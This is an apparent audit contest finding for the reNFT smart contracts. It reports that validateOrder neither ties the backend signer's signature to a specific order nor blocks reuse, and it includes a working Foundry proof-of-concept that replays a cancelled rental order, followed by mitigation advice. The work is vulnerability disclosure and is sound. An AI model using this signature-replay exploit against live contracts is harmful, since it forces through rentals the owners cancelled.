reNFT - Kalyan-Singh's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L733-L775

Vulnerability details

Impact

CREATE_SIGNER's signature will be reused leading to malicious behaviour

Proof of Concept

In the function validateOrder there is no way to verify whether the signature from backend signer is being reused / more importantly no way to verify that this signature was signed to rent out this particular order. This can lead to a complex attack vectors where attacker can execute orders not supposed to be executed.

    function validateOrder(
        ZoneParameters calldata zoneParams
    ) external override onlyRole("SEAPORT") returns (bytes4 validOrderMagicValue) {
		....

        // Check: The signature from the protocol signer has not expired.
        _validateProtocolSignatureExpiration(payload.expiration);

        // Check: The fulfiller is the intended fulfiller.
        _validateFulfiller(payload.intendedFulfiller, seaportPayload.fulfiller);

        // Recover the signer from the payload.
        address signer = _recoverSignerFromPayload(
            _deriveRentPayloadHash(payload),
            signature ///@audit < no way to verify if sig reused
        );

        // Check: The data matches the signature and that the protocol signer is the one that signed.
        if (!kernel.hasRole(signer, toRole("CREATE_SIGNER"))) {
            revert Errors.CreatePolicy_UnauthorizedCreatePolicySigner();
        }
		.....
    }

Let's run through an example to understand better.

1. Alice has some erc1155's id 0 tokens, now she want to put them on rent for 10 days for 10 usdc
2. She creates an order on reNFT which lists it on the frontend.
3. Bob sees a new order and being a black hat he tries to call seaport.fulfillAdvancedOrder from reNFT website but twist is he is only doing that to gain access to the AdvancedOrder struct of alice's order.
4. As bob does not have enough usdc or has not given approval to the conduit the txn reverts from seaport but now he has all the data, as he can extract from the txn. He saves this data for future uses.
5. After some time alice decides to request cancellation for her order as she might want to reconfigure it for 50 usdc let's say.
6. But bob will now first execute a dummy order to get latest sig with good enough expiry from the reNFT signer with OrderMetadata the same as alice's first/ cancelled order.
7. Now bob can put in alice's saved advancedOrder's OrderParamets & signature in his newly forged order and alice's old/cancelled order will get executed instead of new one. See below for working poc, create a new test file to run it, under test/integration

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType,
    AdvancedOrder,
    CriteriaResolver
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder,RentPayload} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";
import {BaseProtocol} from "@test/fixtures/protocol/BaseProtocol.sol";

contract TestRent is BaseTest {



    function test_Deactivation_Policy() public {

    }

    function test_Rent_1155_sig1() public {
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 0,
            erc1155Offers: 1,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        

        // finalize the order creation
        (
            Order memory order1,
            bytes32 orderHash1,
            OrderMetadata memory metadata1
        ) = finalizeOrder();

        vm.warp(block.timestamp+50);

        // bob sees alice rental on the frontend and takes a note of rentDuration
        // and whatever else properties displayed on frontend.
        // Now for unkown reasons  alice decide to request cancellation of her rental
        // and the backendSigner is now not signing alice's fulfillment orders for this order.

        
        createOrder({
            offerer: bob,
            orderType: OrderType.BASE,
            erc721Offers: 0,
            erc1155Offers: 1,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        emit log_named_uint("bob balance", erc1155s[0].balanceOf(bob.addr,1));

        // bob creates a dummy order between his accounts and sets 
        // the same metadata as alice's order

        (
            Order memory order2,
            bytes32 orderHash2,
            OrderMetadata memory metadata2
        ) = finalizeOrder();

        // carol fulfilles the order, bob can be carol.
        createOrderFulfillment({
            _fulfiller: carol,
            order: order2,
            orderHash: orderHash2,
            metadata: metadata2
        });

        AdvancedOrder memory cachedAdvancedOrder2 = ordersToFulfill[0].advancedOrder;

        // (,bytes memory cachedSig) = abi.decode(cachedAdvancedOrder2.extraData,(RentPayload,bytes));
        {
        RentalOrder memory rentalOrder2 = finalizeBaseOrderFulfillment();
        }

        AdvancedOrder memory forgedAdvancedOrder = cachedAdvancedOrder2;

        // now bob puts in alice's order's credentials but with his order's `extraData`
        // there are many way bob can figure out alice's order crendentials(metadata), a simple way would be 
        // to revoke permissions to the conduit but try calling `seaport.fulfillAdvancedOrder` before alice cancelled her order
        // this way his txn will revert but he will have alice's order's advancedOrder struct.
        // he can just save those details to harass alice later on. 
        forgedAdvancedOrder.signature = order1.signature;
        forgedAdvancedOrder.parameters = order1.parameters;

        erc20s[0].mint(carol.addr,10000);

        assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), uint256(100));


        vm.startPrank(carol.addr);
        seaport.fulfillAdvancedOrder(forgedAdvancedOrder, new CriteriaResolver[](0), conduitKey, address(carol.safe));
        vm.stopPrank();

        // this way bob bypassed any backend checks and forged a new valid signature
        // from the CREATE_SIGNER role. 
        // this forged signature can be used to harass users in the above shown way.

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(200));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(200));

        // assert that the ERC1155 is in the rental wallet of the fulfiller
        assertEq(erc1155s[0].balanceOf(address(carol.safe), 0), uint256(100));

        // assert that the ERC1155 is in the rental wallet of the fulfiller
        assertEq(erc1155s[0].balanceOf(address(carol.safe), 1), uint256(100));

        // assert that the ERC1155 is in the rental wallet of the fulfiller
        assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), uint256(0));
    }
}

The bug occurs due to 2 reasons ,

1. No way to verify the signature being verified in validateOrder of createPolicy was signed for the same order which being rented out, which allows attacker to use a valid signature with another order possibly now not listed on frontend
2. No way to check for reused signature

Tools Used

Manual Review

Recommended Mitigation Steps

1. Add orderHash field in Rent payload struct and then hash it & sign it, in the validateOrder match the rentPayload orderHash with zoneparameter.orderHash to verify.
2. Store used signatures in STORE.(might become redundant after step 1, not sure).

Assessed type

Invalid Validation